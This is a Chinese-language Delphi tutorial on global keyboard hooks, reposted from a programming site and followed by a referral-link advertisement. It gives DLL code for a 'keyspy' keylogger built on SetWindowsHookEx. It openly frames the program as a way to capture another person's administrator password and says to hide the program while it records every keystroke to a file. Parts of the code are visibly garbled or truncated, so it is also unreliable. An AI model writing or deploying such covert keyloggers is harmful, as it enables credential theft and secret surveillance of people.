======================================================
注:本文源代码点此下载
======================================================
每个程序都有自己的生存空间,在windows系统中你可以在任何时候让你的程序执行一些操作,还可以触发消息,触发的消息分为三种,一是操作你程序的界面,onclick,onmousemove等等,另外一个可以使用windows的消息机制来捕获一些系统消息,但是如果你想在任何时候监控任何程序的情况那可能你就会选择hook来实现了,虽然还有其他方法,但不得不承认,hook是一个比较简单解决问题的途径。
下面就来举个例子(使用delphi7.0调试通过):
如果你需要访问某个人的机器,那在运行\\sb之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不自己尝试一下写个程序记录所有的键盘操作呢?
首先需要申明一点,hook不同于一般的应用程序,需要作为一个全局dll出现,否则无法在你程序不激活的状态捕获其他信息的,(当然你可以用windows消息,这个问题不在这里讨论)。
写个dll定义一下函数
function setkeyhook:bool;export;
function endkeyhook:bool;export;
procedure keyhookexit;far;
procedure setmainhandle(handle: hwnd); export;forward;
function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
procedure entrypointproc(reason: integer);
const
hmapobject: thandle = 0;
begin
case reason of
dll_process_attach:
begin
hmapobject := createfilemapping($ffffffff, nil, page_readwrite, 0, sizeof(thookrec), ’_cbt’);
rhookrec := mapviewoffile(hmapobject, file_map_write, 0, 0, 0);
end;
dll_process_detach:
begin
try
unmapviewoffile(rhookrec);
closehandle(hmapobject);
except
end;
end;
end;
end;
procedure keyhookexit;far;
begin
if hnexthookproc0 then
begin
unhookwindowshookex(hnexthookproc);
hnexthookproc:=0;
messagebeep(0);
end;
result:=hnexthookproc=0;
mainhandle:=0;
end;
function setkeyhook:bool;export;
begin
hnexthookproc:=setwindowshookex(wh_keyboard ,keyboardhookhandler,hinstance,0);
result:=hnexthookproc
dll的project文件中定义如下
exports
setkeyhook index 1,
endkeyhook index 2,
setmainhandle index 3;
begin
hnexthookproc:=0;
procsaveexit:=exitproc;
dllproc := @entrypointproc;
entrypointproc(dll_process_attach);
end.
这样dll就定义好了,接下来就是画个界面:
function setkeyhook:bool;external ’keyspy.dll’;
function endkeyhook:bool;external ’keyspy.dll’;
procedure setmainhandle(handle: hwnd); external ’keyspy.dll’;
//开始捕获键盘
setmainhandle(handle);
setkeyhook
//中止捕获键盘
endkeyhook
然后吧你程序隐蔽起来,启动捕获键盘,在中止捕获之前,所有键盘操作都会被记录到你所定义的filename这个文件名中去,注:这些代码是临时写的,仅是为了说明如何写个hook程序。
另外hook的功能不仅仅是简单使用,这就需要靠大家灵活运用了,可以跟很多windows api来配合,通过很多技巧作出让人意想不到的效果。
本文来自: 编程入门网 http://www.bianceng.cn/programming/delphi/jc/200802/7186.htm
======================================================
在最后,我邀请大家参加新浪APP,就是新浪免费送大家的一个空间,支持PHP+MySql,免费二级域名,免费域名绑定 这个是我邀请的地址,您通过这个链接注册即为我的好友,并获赠云豆500个,价值5元哦!短网址是http://t.cn/SXOiLh我创建的小站每天访客已经达到2000+了,每天挂广告赚50+元哦,呵呵,饭钱不愁了,\(^o^)/